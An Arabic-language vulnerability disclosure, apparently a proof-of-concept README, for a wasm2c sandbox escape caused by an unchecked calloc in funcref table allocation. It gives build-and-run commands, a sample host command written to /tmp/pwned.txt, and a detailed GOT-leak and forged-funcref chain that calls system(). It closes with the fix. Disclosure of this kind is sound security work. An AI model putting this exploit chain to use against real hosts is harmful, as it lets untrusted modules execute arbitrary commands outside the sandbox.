
هروب من بيئة عزل wasm2c. وحدة WebAssembly غير موثوقة تخرج من بيئة العزل المولّدة بلغة C وتنفّذ أمر شل اعتباطيًا على المضيف.
اقرأ المدونة: trustsig.eu/blog
wasm_rt_allocate_funcref_table() في wasm2c/wasm-rt-impl-tableops.inc يضبط table->size من عدد العناصر المُعلن في الوحدة ثم يتجاهل نتيجة calloc(). عندما يفشل التخصيص، تبقى الجدول مع data == NULL وsize الكامل المُعلن، لذلك يمر كل فحص للحدود وtable->data[i] يصبح العنوان المطلق i * sizeof(wasm_rt_funcref_t).
عدد العناصر يأتي من الضيف، لذا يختار الضيف حجم التخصيص ويمكنه إجبار الفشل.
git clone https://github.com/trustsig-eu/wasm2c-tableflip.git
cd wasm2c-tableflip
docker build -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc
تقوم الصورة باستنساخ wabt عند الوسم 1.0.41 من المستودع الأصلي، وتبني wat2wasm وwasm2c، وتجمع وحدة الضيف ومُضمِّنًا بسيطًا، ثم تشغّله.
المخرجات المتوقعة:
running guest
guest returned 0
--- file on host ---
goodbye sandbox
السطر الأخير هو محتويات /tmp/pwned.txt، وهو ملف لم يكن موجودًا قبل تشغيل الوحدة داخل الصندوق.
تم التحقق على linux/arm64 وlinux/amd64. لا شيء في الوحدة خاص ببنية معمارية: عنوان المثيل، وفتحة GOT، وإزاحة libc كلها تُحل وقت البناء من الثنائي الذي بُني للتو ومن libc الخاصة بتلك الصورة.
على Linux، مع تثبيت clang وcmake وninja وbinutils:
git clone --depth 1 --branch 1.0.41 --recurse-submodules --shallow-submodules \
https://github.com/WebAssembly/wabt ~/wabt
cmake -S ~/wabt -B ~/wabt/out -G Ninja -DCMAKE_BUILD_TYPE=Release \
-DBUILD_TESTS=OFF -DBUILD_LIBWASM=OFF -DWITH_WASI=OFF
ninja -C ~/wabt/out wat2wasm wasm2c
python3 tableflip_poc.py --wabt-src ~/wabt --wat2wasm ~/wabt/out/wat2wasm \
--wasm2c ~/wabt/out/wasm2c --run
cat /tmp/pwned.txt
macOS ليس هدفًا مدعومًا لـ PoC هذا. Darwin لا يفرض RLIMIT_AS، لذلك ينجح calloc الضخم ولا يحدث الخطأ أبدًا، وبنى arm64 على macOS دائمًا مستقلة عن الموقع، وMach-O لا يحتوي على ELF GOT لخطوة التسريب. العيب نفسه مستقل عن المنصة؛ فقط سلسلة الاستغلال هذه خاصة بـ Linux.
إصدارات وأوامر أخرى:
docker build --build-arg WABT_REF=main -t wabt-w2c-poc .
docker run --rm wabt-w2c-poc bash -c \
"python3 tableflip_poc.py --run --command 'id > /tmp/pwned.txt' && cat /tmp/pwned.txt"
(table $t 2147483648 funcref). يفشل calloc بحجم 68 غيغابايت، وتكون data فارغة (NULL)، ويبقى size كما هو 2147483648، وتصبح فهارس الجدول عناوين مطلقة.table.get عند got_slot/32 يقرأ GOT الخاص بالمُضمِّن من خلال الجدول المعطوب، وtable.set يخزّن النتيجة في المتغيرات العامة للوحدة نفسها، حيث يمكن لرمز wasm قراءتها كعدد صحيح. يؤدي ذلك إلى تسريب عنوان malloc في libc، ويأتي system على مسافة ثابتة في libc الخاصة بالهدف.wasm_rt_funcref_t في أربعة متغيرات عامة متتالية: func_type يشير إلى نسخة من تجزئة النوع لموقع الاستدعاء (func_types_eq_slowpath يقارنها بـ memcmp، لذا تمر البايتات التي يتحكم بها الضيف في الفحص)، وfunc = system، وmodule_instance = سلسلة الأمر، وهي أيضًا محفوظة في المتغيرات العامة.call_indirect عند globals_addr/32. يولّد wasm2c الكود ((t)entry.func)(entry.module_instance, ...)، لذا يستدعي ذلك system(command).الحقيقة الوحيدة المتعلقة بالترتيب المدمجة في الوحدة هي عنوان مثيل الوحدة، وهو متغير عام ولذلك ثابت في مُضمِّن غير PIE. تظل ASLR مفعّلة؛ يُسرَّب عنوان libc في وقت التشغيل.
يجب أن يفشل تخصيص الجدول. يستخدم الإثبات المفاهيمي ulimit -v 1000000، وهو حد لمساحة العناوين من النوع الذي قد يضعه مضيف يشغّل كودًا غير موثوق. يفشل أيضًا على مضيفات 32-بت، حيث لا يمكن تلبية التخصيص إطلاقًا، مع vm.overcommit_memory=2، أو تحت ضغط ذاكرة كافٍ.
على Linux 64-بت القياسي مع الاستدلال الافتراضي للـ overcommit، ينجح التخصيص ولا يُلمس أبدًا، ولهذا ينجو الخطأ من الاختبار العادي.
كل إصدار يتضمن جداول wasm2c. يعود calloc غير المُفحَص إلى الالتزام ab9e0b55 (#813). تم التحقق منه ضد الإصدار 1.0.41 المنشور وmain الحالية.
مُخصِّص الذاكرة في نفس بيئة التشغيل يعالج هذه الحالة:
memory->data = (MEMORY_CELL_TYPE)calloc(byte_length, 1);
if (byte_length != 0 && !memory->data) {
abort();
}
يحتاج مُخصِّص الجدول إلى نفس الفحص.
Dockerfile يبني wabt ويشغّل الإثبات المفاهيمي.tableflip_poc.py يولّد وحدة الضيف، ويبني المُضمِّن، ويحلّ الثوابت الثلاثة من الثنائي المبني ومن libc الخاصة بالهدف باستخدام nm وreadelf، ثم يشغّله. المُضمِّن الذي يولّده لا يحتوي على أي كود داعم للاستغلال.